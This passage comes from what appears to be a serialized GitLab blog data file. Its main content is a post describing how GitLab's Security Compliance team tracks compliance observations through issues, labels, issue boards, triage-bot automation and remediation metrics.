thank you for your partnership, making us stronger, more secure, and better prepared for the challenges ahead. I’ll be at Black Hat August 6-7, 2025, and look forward to connecting with AI security researchers there. You can reach me through the Black Hat mobile app or on [LinkedIn](https://www.linkedin.com/in/kymberleeprice/).   \n\n> Do you want to play a role in keeping GitLab secure? Visit our [HackerOne program](https://hackerone.com/gitlab) to get started, or learn more about our AI security practices at our [AI Transparency Center](https://about.gitlab.com/ai-transparency-center/).",[775],{"featured":6,"template":797,"slug":1158},"securing-ai-together-gitlabs-partnership-with-security-researchers",{"content":1160,"config":1170},{"title":1161,"description":1162,"authors":1163,"heroImage":1165,"date":1166,"body":1167,"category":775,"tags":1168},"How to transform compliance observation management with GitLab","Learn how GitLab's Security Compliance team improved observation management using the DevSecOps platform, enhancing visibility, collaboration, and accountability.",[1164],"Madeline Lake","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675154/Blog/Hero%20Images/blog-image-template-1800x945__8_.png","2025-07-24","An observation is a compliance finding or deficiency identified during control monitoring. This is essentially a gap between what your security controls should be doing and what they're actually doing. Observations can stem from design deficiencies where the control isn't structured properly to meet requirements, operating effectiveness issues where the control exists but isn't working as intended, or evidence gaps where required documentation or proof of control execution is missing.\n\nThese observations emerge from our quarterly control monitoring process, where we systematically assess the effectiveness of security controls supporting our certifications (SOC 2, ISO 27001, etc.). Observations can also be the output of our external audits from third-party assessors. Observations aren't just compliance checkboxes, they represent real security risks that need prompt, visible remediation.\n\nObservation management is the process by which we manage these observations from identification through remediation to closure. In this article, you'll learn how the GitLab Security Team uses the DevSecOps platform to manage and remediate observations, and the efficiencies we've realized from doing so.\n\n## The GitLab observation lifecycle: From identification to resolution\n\nThe lifecycle of an observation encompasses the entire process from initial identification by compliance engineers through to completed remediation by remediation owners. This lifecycle enables real-time transparent status reporting and that is easier for all stakeholders to understand and follow.\n\nHere are the stages of the observation lifecycle:\n\n**1. Identification**\n\n* Compliance engineers identify potential observations during quarterly monitoring.  \n* Initial validation occurs to confirm the finding represents a genuine control gap.  \n* Detailed documentation begins immediately in a GitLab issue.  \n* The root cause of the observation is determined and a remediation plan to address the root cause is established.\n\n**2. Validation**\n\n* Issue is assigned to the appropriate remediation owner (usually a team lead or department manager).  \n* Remediation owner reviews and confirms they understand and accept ownership.  \n* The remediation plan is reviewed, prioritized, and updated collaboratively as needed.\n\n**3. In-progress**\n\n* Active remediation work begins with clear milestones and deadlines.  \n* Regular updates are provided through GitLab comments and status changes.  \n* Collaboration happens transparently where all stakeholders can see progress.\n\n**4. Remediated**\n\n* Remediation owner marks work complete and provides evidence.  \n* Issue transitions to compliance review for validation.\n\n**5. Resolution**\n\n* Compliance engineer verifies exit criteria are met.  \n* The issue is closed with final documentation.  \n* Lessons learned are captured for future prevention.\n\n**Alternative paths** handle blocked work, risk acceptance decisions, and stalled remediation efforts with appropriate escalation workflows.\n![Example of observation lifecycle](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753301753/pbvheikwpivuvhzd5ith.png)\n\u003Ccenter>\u003Ci>Example of observation lifecycle\u003C/i>\u003C/center>\n\n## The power of transparency in GitLab\n\nEffective observation management shouldn't require detective work to determine basic information like ownership, status, or priority. Yet most organizations find themselves exactly in this scenario: compliance teams chasing updates, operational teams unaware of their responsibilities, and leadership lacking visibility into real risk exposure until audit season arrives.\n\nThe Security Compliance team at GitLab faced these exact problems. Our team initially used a dedicated GRC tool as the single source of truth for outstanding observations, but the lack of visibility to key stakeholders meant minimal remediation actually occurred. The team found themselves spending their time on administrative work, rather than guiding remediation efforts. \n\nOur solution was to move observation management directly into GitLab issues within a dedicated project. This approach transforms observations from compliance issues into visible, actionable work items that integrate naturally into development and operations workflows. Every stakeholder can see what needs attention, collaborate on remediation plans, and track progress in real time, creating the transparency and accountability that traditional tools simply can't deliver.\n\n### Smart organization through labels and issue boards\n\nGitLab allows teams to categorize observation issues into multiple organizational views. The Security Compliance team uses the following to categorize observations:\n\n* **Workflow:** `~workflow::identified`, `~workflow::validated`, `~workflow::in progress`, `~workflow::remediated`  \n* **Department:** `~dept::engineering`, `~dept::security`, `~dept::product`   \n* **Risk Severity:** `~risk::critical`, `~risk::high`, `~risk::medium`, `~risk::low`  \n* **System:** `~system::gitlab`, `~system::gcp`, `~system::hr-systems`   \n* **Program:** `~program::soc2`, `~program::iso`, `~program::fedramp` , `~program::pci`\n\nThese labels are then leveraged to create issue boards:\n\n* **Workflow boards** visualize the observation lifecycle stages.  \n* **Department boards** show each team's remediation workload.  \n* **Risk-based boards** prioritize critical findings requiring immediate attention.  \n* **System boards** visualize observations by system.  \n* **Program boards** track certification-specific observation resolution.\n\nLabels enable powerful filtering and reporting while supporting automated workflows through our triage bot policies. Please refer to the automation section for more details on our automation strategy.\n\n## Automation: Working smarter, not harder\n\nManaging dozens of observations across multiple certifications requires smart automation. The Security Compliance team utilizes the [triage bot](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage), which is an open source project hosted in GitLab. The triage bot gem aims to enable project managers to automatically triage issues in GitLab projects or groups based on defined policies. This helps manage issue hygiene so stakeholders can focus their efforts on remediation. \n\nWithin the observation management project, we have policies written to ensure there is an assignee on each issue, each issue has required labels, issues are updated every 30 days, and blocked and stalled issues are nudged every 90 days. In addition, a weekly summary issue is created to summarize all the issues out of compliance based on our defined policies. This enables team members to monitor issues efficiently and spend less time on administrative tasks.\n\n## Measuring success: Key metrics and reporting\n\nGitLab's raw issue data can be leveraged into actionable intelligence. Organizations can extract meaningful insights from issue creation date, closed date, last updated date, and labels. The following metrics provide a comprehensive view of your observation management effectiveness:\n\n**Resolution Efficiency Analysis:** Average time from identification to resolution by department and severity\n\nTrack issue creation versus close dates across departments and severity levels to identify bottlenecks and measure performance against SLAs. This reveals which teams excel at rapid response and which may need additional resources or process improvements.\n\n**Real-Time Risk Assessment:** Current risk profile based on open critical and high risk observations\n\nLeverage risk level labels to create dynamic visualizations of your organization's current risk exposure. This provides leadership with an immediate understanding of critical observations requiring urgent attention.\n\n**Strategic Resource Allocation:** Department-level risk distribution for targeted improvement efforts\n\nIdentify which departments are responsible for remediation of the highest-risk observations to prioritize resources, oversight, and projects. This data-driven approach ensures improvement efforts focus where they'll have maximum impact.\n\n**Compliance Readiness Monitoring:** Certification-specific observation counts and resolution rates\n\nUtilize certification labels to assess audit preparedness and track progress toward compliance goals. This metric provides early warning of potential certification risks and validates remediation efforts.\n\n**Accountability Tracking:** Overdue remediations \n\nMonitor SLA compliance to ensure observations receive timely attention. This metric highlights systemic delays and enables proactive intervention before minor issues become major problems.\n\n**Engagement Health Check:** Observation freshness\n\nTrack recent activity (updates within 30 days) to ensure observations remain actively managed rather than forgotten. This metric identifies stagnant issues that may require escalation or reassignment.\n\n## Advanced strategies: Taking observation management further\n\nHere's what you can do to deepen the impact of observation management in your organization.\n\n**Integrate with security tools** \n\nModern observation management extends beyond manual tracking by connecting with your existing security infrastructure. Organizations can configure vulnerability scanners and security monitoring tools to automatically generate observation issues, eliminating manual data entry and ensuring comprehensive coverage. \n\n**Apply predictive analytics** \n\nHistorical observation data becomes a powerful forecasting tool when properly analyzed. Organizations can leverage past remediation patterns to predict future timelines and resource requirements, enabling more accurate project planning and budget allocation. Pattern recognition in observation types reveals systemic vulnerabilities that warrant preventive controls, shifting focus from reactive to proactive risk management. Advanced implementations incorporate multiple data sources into sophisticated risk scoring algorithms that provide nuanced threat assessments and priority rankings.\n\n**Customize for stakeholders** \n\nEffective observation management recognizes that different roles require different perspectives on the same data. Role-based dashboards deliver tailored views for executives seeking high-level risk summaries, department managers tracking team performance, and individual contributors managing their assigned observations. Automated reporting systems can be configured to match various audience needs and communication preferences, from detailed technical reports to executive briefings. Self-service analytics capabilities empower stakeholders to conduct ad-hoc analysis and generate custom insights without requiring technical expertise or support.\n\n## Move from mere compliance to operational excellence\n\nGitLab's approach to observation management represents more than a tool change, it's a fundamental shift from reactive compliance to proactive risk mitigation. By breaking down silos between compliance teams and operational stakeholders, organizations achieve unprecedented visibility while dramatically improving remediation outcomes.\n\nThe results are measurable: faster resolution through transparent accountability, active stakeholder collaboration instead of reluctant participation, and continuous audit readiness rather than periodic scrambles. Automated workflows free compliance professionals for strategic work while rich data enables predictive analytics that shift focus from reactive firefighting to proactive prevention.\n\nMost importantly, this approach elevates compliance from burden to strategic enabler. When observations become visible, trackable work items integrated into operational workflows, organizations develop stronger security culture and lasting improvements that extend beyond any single audit cycle. The outcome isn't just regulatory compliance. It's organizational resilience and competitive advantage through superior risk management.\n\n> Want to learn more about GitLab's security compliance practices? Check out our [Security Compliance Handbook](https://handbook.gitlab.com/handbook/security/security-assurance/security-compliance/) for additional insights and implementation guidance.",[775,1169],"inside GitLab",{"featured":6,"template":797,"slug":1171},"how-to-transform-compliance-observation-management-with-gitlab",{"content":1173,"config":1176},{"title":825,"description":826,"authors":1174,"heroImage":830,"date":831,"body":832,"category":687,"tags":1175},[828,829],[683,109],{"featured":91,"template":797,"slug":835},[1178,1183,1188],{"config":1179,"content":1180},{"slug":984,"featured":6,"template":797},{"title":986,"description":987,"authors":1181,"heroImage":992,"date":993,"category":733,"tags":1182,"body":995},[989,990,991],[269],{"content":1184,"config":1187},{"title":1064,"description":1065,"authors":1185,"heroImage":1068,"date":1069,"body":1070,"category":755,"tags":1186},[1067],[1072,910,269],{"featured":6,"template":797,"slug":1074},{"content":1189,"config":1192},{"title":942,"description":943,"authors":1190,"heroImage":947,"date":948,"category":721,"tags":1191,"body":951},[945,946],[560,950],{"featured":6,"template":797,"slug":953},[1194,1199,1204],{"config":1195,"content":1196},{"slug":998,"featured":6,"template":797},{"title":1000,"description":1001,"authors":1197,"heroImage":1004,"date":1005,"category":733,"tags":1198,"body":1008},[1003],[431,721,1007],{"content":1200,"config":1203},{"title":838,"description":839,"authors":1201,"heroImage":843,"body":844,"category":687,"tags":1202,"date":847},[841,842],[683,846],{"featured":91,"template":797,"slug":849},{"content":1205,"config":1208},{"title":1139,"authors":1206,"description":1142,"date":859,"body":1143,"category":775,"tags":1207,"heroImage":1145},[1141],[775],{"featured":6,"template":797,"slug":1147},1755803032399]